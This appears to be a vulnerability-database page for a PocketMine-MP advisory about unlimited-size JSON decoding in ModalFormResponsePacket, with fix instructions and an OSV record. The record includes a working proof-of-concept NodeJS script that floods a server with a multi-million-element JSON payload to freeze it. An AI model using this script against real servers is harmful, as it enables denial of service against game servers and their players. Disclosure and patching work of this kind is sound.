GHSA-788v-5pfp-93ff: PocketMine-MP JSON Decoding Of Unlimited Size Vulnerability
HIGHGHSA-788v-5pfp-93ff is a HIGH json decoding of unlimited size vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting PocketMine-MP libraries in the Packagist ecosystem. The issue involves json decoding of unlimited size large arrays/objects in modalformresponse handling. Remediation is available by upgrading affected packages to version 5.39.2.
GHSA-788v-5pfp-93ff at a Glance
How to Fix GHSA-788v-5pfp-93ff
To remediate this vulnerability, upgrade all affected PocketMine-MP dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade pocketmine/pocketmine-mp to 5.39.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for pocketmine/pocketmine-mp
How to Check if You Are Affected
To determine whether your application is affected by GHSA-788v-5pfp-93ff, inspect your project dependencies for PocketMine-MP:
inspect dependencies for pocketmine/pocketmine-mp
Analyze the terminal output to locate any version of PocketMine-MP in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.39.2), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In PocketMine-MP, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-788v-5pfp-93ff Affected PocketMine-MP Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
pocketmine/pocketmine-mp
|
Packagist |
< 5.39.2
|
5.39.2
|
References
Frequently Asked Questions
What is GHSA-788v-5pfp-93ff?
Which PocketMine-MP versions are affected?
What version fixes GHSA-788v-5pfp-93ff?
Is pocketmine/pocketmine-mp affected?
What CWE is associated with GHSA-788v-5pfp-93ff?
How can I check Packagist dependencies for GHSA-788v-5pfp-93ff?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-788v-5pfp-93ff",
"modified" : "2026-04-06T22:54:07Z",
"published" : "2026-04-06T22:54:07Z",
"aliases" : [ ],
"summary" : "PocketMine-MP: JSON decoding of unlimited size large arrays/objects in ModalFormResponse Handling",
"details" : "### Impact\n\nThe server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements.\n\nThe player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game.\n\n### Patches\nThe issue was fixed in two parts:\n- cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse\n- f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID\n\n### Workarounds\nThis issue can be worked around in a plugin using `DataPacketReceiveEvent` by:\n- checking the max size of the `formData` field\n- making sure the form ID is not repeated\n\nHowever, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2.\n\n### PoC\n\n1. Join a PocketMine-MP server as a regular player (no special permissions needed).\n2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with:\n\n * Any non-existent `formId`\n * `formData` containing a massive JSON array (e.g., 10+ MB payload).\n3. The server will attempt to parse the JSON and may freeze or become unresponsive.\n\nExample NodeJS pseudocode:\n\n```javascript\nimport { createClient } from 'bedrock-protocol';\n\nconst host = '127.0.0.1';\nconst port = 19132;\nconst username = 'Test';\n\nconst client = createClient({\n host,\n port,\n username,\n offline: true\n});\n\nconst hugePayload = '[' + '0,'.repeat(5_000_000) + '0]';\n\nclient.on('spawn', () => {\n console.log('[*] Connected & spawned. Sending malicious packet...');\n\n client.write('modal_form_response', {\n formId: 9999, // Form inexistant\n formData: hugePayload // JSON énorme\n });\n\n console.log('[*] Packet sent. The server should start freezing shortly.');\n});\n```",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "pocketmine/pocketmine-mp"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.39.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-788v-5pfp-93ff"
}, {
"type" : "WEB",
"url" : "https://github.com/pmmp/PocketMine-MP/commit/cef1088341e40ee7a6fa079bca47a84f3524d877"
}, {
"type" : "WEB",
"url" : "https://github.com/pmmp/PocketMine-MP/commit/f983f4f66d5e72d7a07109c8175799ab0ee771d5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/pmmp/PocketMine-MP"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-06T22:54:07Z",
"nvd_published_at" : null
}
}